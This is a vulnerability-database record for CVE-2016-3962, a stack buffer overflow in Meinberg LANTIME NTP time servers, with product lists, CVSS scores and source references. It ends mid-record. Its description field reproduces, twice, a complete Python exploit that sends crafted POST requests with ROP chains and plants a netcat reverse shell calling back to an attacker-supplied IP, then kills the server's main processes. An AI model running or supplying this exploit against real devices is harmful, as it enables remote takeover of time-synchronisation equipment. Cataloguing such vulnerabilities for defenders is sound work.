VAR-201607-0010
Vulnerability from variot - Updated: 2023-12-18 12:05Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. Remote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. The following products are affected : Meinberg IMS-LANTIME M3000 Version 6.0 and prior Meinberg IMS-LANTIME M1000 Version 6.0 and prior Meinberg IMS-LANTIME M500 Version 6.0 and prior Meinberg LANTIME M900 Version 6.0 and prior Meinberg LANTIME M600 Version 6.0 and prior Meinberg LANTIME M400 Version 6.0 and prior Meinberg LANTIME M300 Version 6.0 and prior Meinberg LANTIME M200 Version 6.0 and prior Meinberg LANTIME M100 Version 6.0 and prior Meinberg SyncFire 1100 Version 6.0 and prior Meinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. #!/usr/bin/python
EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
271 - trigger notifications
299 - copy user defined notifications
Kernel Version: 2.6.15.1
System Version: 530
Lantime configuration utility 1.27
ELX800/GPS M4x V5.30p
import socket import struct import telnetlib import sys import time
if len(sys.argv) < 3: print "[-] " exit(1)
host = sys.argv[1] callback_ip = sys.argv[2]
print "[+] exploiting Meinburg M400" port = 80
Copy user_defined_notification to /www/filetmp
Append reverse shell string to /file/tmp
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8
must have a listener setup to receive the callback connection on ip 192.168.60.232
i.e. nc -v -l -p 4444
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash/tmp/foo;" >> /www/filetmp'
msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
time.sleep(1)
Copy /www/filetmp to user_defined_notification
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65
stack pivot
stack_pivot = 0x8049488 msg = "button=" + "A" * 9756
msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)
msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x80012111 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120
msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close
time.sleep(1)
Trigger reverse shell
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65
stack pivot
stack_pivot = 0x8049488 msg = "button=" + "A" * 9756
msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)
msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x800120f5 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120
msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
time.sleep(1)
print "[+] cleaning up"
Kill all mains that are hung-up
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8
command = 'killall main'
msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
print "[+] enjoy"
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201607-0010",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "lantime m200",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ntp server",
"scope": "lte",
"trust": 1.0,
"vendor": "meinberg",
"version": "6.0"
},
{
"model": "lantime m300",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m900",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lces",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m1000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m500",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m600",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "syncfire 1100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m400",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m1000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m500",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m200",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m300",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m400",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m600",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m900",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lces",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "lt",
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": "6.20.004"
},
{
"model": "syncfire 1100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "eq",
"trust": 0.6,
"vendor": "meinberg",
"version": "6.0"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:meinberg:ntp_server_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "6.0",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m900:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:ims-lantime_m500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m400:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m600:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lces:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:syncfire_1100:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:ims-lantime_m1000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:ims-lantime_m3000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m100:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m200:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:meinberg:lantime_m300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ryan Wincey",
"sources": [
{
"db": "BID",
"id": "91400"
}
],
"trust": 0.3
},
"cve": "CVE-2016-3962",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 7.5,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2016-3962",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-92781",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "Low",
"baseScore": 7.3,
"baseSeverity": "High",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2016-3962",
"impactScore": null,
"integrityImpact": "Low",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2016-3962",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201606-551",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-92781",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. \nRemote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. \nThe following products are affected :\nMeinberg IMS-LANTIME M3000 Version 6.0 and prior\nMeinberg IMS-LANTIME M1000 Version 6.0 and prior\nMeinberg IMS-LANTIME M500 Version 6.0 and prior\nMeinberg LANTIME M900 Version 6.0 and prior\nMeinberg LANTIME M600 Version 6.0 and prior\nMeinberg LANTIME M400 Version 6.0 and prior\nMeinberg LANTIME M300 Version 6.0 and prior\nMeinberg LANTIME M200 Version 6.0 and prior\nMeinberg LANTIME M100 Version 6.0 and prior\nMeinberg SyncFire 1100 Version 6.0 and prior\nMeinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. #!/usr/bin/python\n#\n# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit\n# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/\n#\n# 271 - trigger notifications\n# 299 - copy user defined notifications\n \n# Kernel Version: 2.6.15.1\n# System Version: 530 \n# Lantime configuration utility 1.27\n# ELX800/GPS M4x V5.30p\n \nimport socket\nimport struct\nimport telnetlib\nimport sys\nimport time\n \nif len(sys.argv) \u003c 3:\n print \"[-] \u003cHost\u003e \u003cCallback IP\u003e \"\n exit(1)\n \n \nhost = sys.argv[1]\ncallback_ip = sys.argv[2]\n \nprint \"[+] exploiting Meinburg M400\"\nport = 80\n \n###################################################################\n#\n# Copy user_defined_notification to /www/filetmp\n# Append reverse shell string to /file/tmp \n#\ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\n \n#must have a listener setup to receive the callback connection on ip 192.168.60.232\n# i.e. nc -v -l -p 4444\ncommand = \u0027cp /mnt/flash/config/user_defined_notification /www/filetmp; echo \"{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash\u003c/tmp/foo|{nc,\u0027 + callback_ip +\u00270,4444}\u003e/tmp/foo;\" \u003e\u003e /www/filetmp\u0027\n \nmsg = \"button=\" + \"A\"*10028\nmsg += struct.pack(\"I\", system )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", some_str )\nmsg += command + \"\\x00\"\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \ntime.sleep(1)\n \n###################################################################\n#\n# Copy /www/filetmp to user_defined_notification \n# \ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsend_cmd = 0x807ED88\nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\nret = 0x804CE65\n \n#stack pivot\nstack_pivot = 0x8049488\nmsg = \"button=\" + \"A\" * 9756\n \nmsg += \"B\" * 28\nmsg += struct.pack(\"I\", 0x7FFEE01A ) # ebp\nmsg += struct.pack(\"I\", 0x0804ce64 ) # pop eax ; ret\nmsg += struct.pack(\"I\", some_str - 0x100 ) # some place\nmsg += struct.pack(\"I\", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret\nmsg += struct.pack(\"I\", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret\nmsg += struct.pack(\"I\", ret ) * (71/4)\n \nmsg += struct.pack(\"I\", send_cmd )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", 0x80012111 ) # [eax + 0x60]\nmsg += struct.pack(\"I\", some_str ) # buffer\nmsg += struct.pack(\"I\", 0xffffffff ) # count\nmsg += \"E\" * 120\n \nmsg += struct.pack(\"I\", 0xB1E8B434 ) # ebx\nmsg += struct.pack(\"I\", some_str - 100 ) # esi\nmsg += struct.pack(\"I\", some_str - 100 ) # edi\nmsg += struct.pack(\"I\", some_str - 0x100 ) # ebp\nmsg += struct.pack(\"I\", stack_pivot ) # mov esp, ebp ; ret\nmsg += \"A\" * 100\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close\n \ntime.sleep(1)\n \n###################################################################\n#\n# Trigger reverse shell \n# \n \ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsend_cmd = 0x807ED88\nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\nret = 0x804CE65\n \n#stack pivot\nstack_pivot = 0x8049488\nmsg = \"button=\" + \"A\" * 9756\n \nmsg += \"B\" * 28\nmsg += struct.pack(\"I\", 0x7FFEE01A ) # ebp\nmsg += struct.pack(\"I\", 0x0804ce64 ) # pop eax ; ret\nmsg += struct.pack(\"I\", some_str - 0x100 ) # some place\nmsg += struct.pack(\"I\", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret\nmsg += struct.pack(\"I\", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret\nmsg += struct.pack(\"I\", ret ) * (71/4)\n \nmsg += struct.pack(\"I\", send_cmd )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", 0x800120f5 ) # [eax + 0x60]\nmsg += struct.pack(\"I\", some_str ) # buffer\nmsg += struct.pack(\"I\", 0xffffffff ) # count\nmsg += \"E\" * 120\n \nmsg += struct.pack(\"I\", 0xB1E8B434 ) # ebx\nmsg += struct.pack(\"I\", some_str - 100 ) # esi\nmsg += struct.pack(\"I\", some_str - 100 ) # edi\nmsg += struct.pack(\"I\", some_str - 0x100 ) # ebp\nmsg += struct.pack(\"I\", stack_pivot ) # mov esp, ebp ; ret\nmsg += \"A\" * 100\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \ntime.sleep(1)\n \n \nprint \"[+] cleaning up\"\n###################################################################\n#\n# Kill all mains that are hung-up\n#\ncsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)\ncsock.connect ( (host, int(port)) )\n \nparam = \"A\" * 0x2850\n \nresp = \"POST /cgi-bin/main HTTP/1.1\\r\\n\"\nresp += \"Host: \" + host + \"\\r\\n\"\nresp += \"User-Agent: Mozilla/5.0\\r\\n\"\nresp += \"Accept: text/html\\r\\n\"\nresp += \"Accept-Language: en-US\\r\\n\"\nresp += \"Connection: keep-alive\\r\\n\"\nresp += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n \nsystem = 0x80490B0\nexit = 0x80492C0\nsome_str = 0x850BDB8\n \ncommand = \u0027killall main\u0027\n \nmsg = \"button=\" + \"A\"*10028\nmsg += struct.pack(\"I\", system )\nmsg += struct.pack(\"I\", exit )\nmsg += struct.pack(\"I\", some_str )\nmsg += command + \"\\x00\"\n \nresp += \"Content-Length: \" + str(len(msg)) + \"\\r\\n\\r\\n\"\nresp += msg\ncsock.send(resp)\ncsock.close()\n \nprint \"[+] enjoy\"\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "PACKETSTORM",
"id": "137947"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-92781",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2016-3962",
"trust": 2.9
},
{
"db": "ICS CERT",
"id": "ICSA-16-175-03",
"trust": 2.5
},
{
"db": "EXPLOIT-DB",
"id": "40120",
"trust": 1.1
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551",
"trust": 0.7
},
{
"db": "BID",
"id": "91400",
"trust": 0.3
},
{
"db": "PACKETSTORM",
"id": "137947",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-92781",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"id": "VAR-201607-0010",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T12:05:48.927000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Meinberg Security Advisory: [MBGSA-1604] WebUI and NTP",
"trust": 0.8,
